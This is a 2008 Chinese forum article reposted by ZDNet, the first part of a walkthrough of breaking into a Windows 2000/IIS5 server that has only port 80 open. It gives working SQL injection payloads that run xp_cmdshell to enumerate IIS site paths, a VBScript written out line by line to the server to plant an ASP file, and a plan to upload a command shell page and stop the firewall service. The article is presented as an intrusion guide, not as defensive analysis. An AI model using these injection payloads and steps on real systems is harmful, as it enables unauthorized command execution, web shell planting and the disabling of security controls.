科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道只开80端口主机的安全检测(上)

只开80端口主机的安全检测(上)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍唉还是一样的结果,看来管理员也不算笨啊!

作者:论坛整理 来源:zdnet网络安全 2008年1月24日

关键字: 端口 安全检测 安全管理

  • 评论
  • 分享微博
  • 分享邮件
扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍唉还是一样的结果,看来管理员也不算笨啊! 
检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用说咯. 
分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东有一个查询系统输入单引号试试,返回错误类型: 
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 
/mingce/student1.asp, 第 30 行 
看来运气也不算太坏嘛........应该有sql注入的毛病......... 
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK 
的确可以正确提交哟返回如下: 
if request.form("xsxm")="" and request.form("xsxh")="" then 
Set Conn=Server.CreateObject("ADODB.Connection") 
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx") 

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的 
过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤 
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的! 
(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ’iisreset /reboot’ 
或是xp_cmdshell ’ping 你.的.I.P’,如果第一个命令能执行成功那么在半分钟之内远程 
系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你 
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟) 

好了通过上面的分析我们可以做什么呢: 
通过在web页以管理员的身份来执行系统命令(不过没有回显的) 
如果是一般的系统主机简单了xp_cmdshell ’net user .....’我就不写了 
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三 
以前通常只要开个139/445/135就可以远程管理了不过现在不行. 
我的思路: 
1)找到web目录的路径 
2)写入一个简单的cmd.asp用来找到防火墙的具体名字 
3)通过xp_cmdshell来关闭防火墙服务 

具体实现: 
第一步明显是最难的咯 
我本来打算用adminScripts里面的建web站的方式建一个我自已的可执行目录的 
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的 
a’;exec master..xp_cmdshell ’cmd /c cScript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;-- 
是不是很长啦  通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中 
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别 
的地方我们就没办法了(不可能自已用echo 命令写一个吧) 
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧   
.....xp_cmdshell ’echo set fso1=createobject("Scripting.filesystemobject")>c:\read.vbs’;-- 
.....xp_cmdshell ’echo Set WshShell = WScript.CreateObject("WScript.Shell")>>c:\read.vbs’;-- 
..... 
-------------------read.vbs--------------------------------- 
set fso1=createobject("Scripting.filesystemobject") 
Set WshShell = WScript.CreateObject("WScript.Shell") 
spa=WshShell.Environment("process")("windir") 
set fil =fso1.opentextfile(spa & "\system32\aa.txt") 
do while not fil.atendofstream 
nr=fil.readline 
if left(nr,4)="Path" then 
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) 
exit do 
end if 
loop 
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true) 
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>" 
---------------cut here-------------------------------------- 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章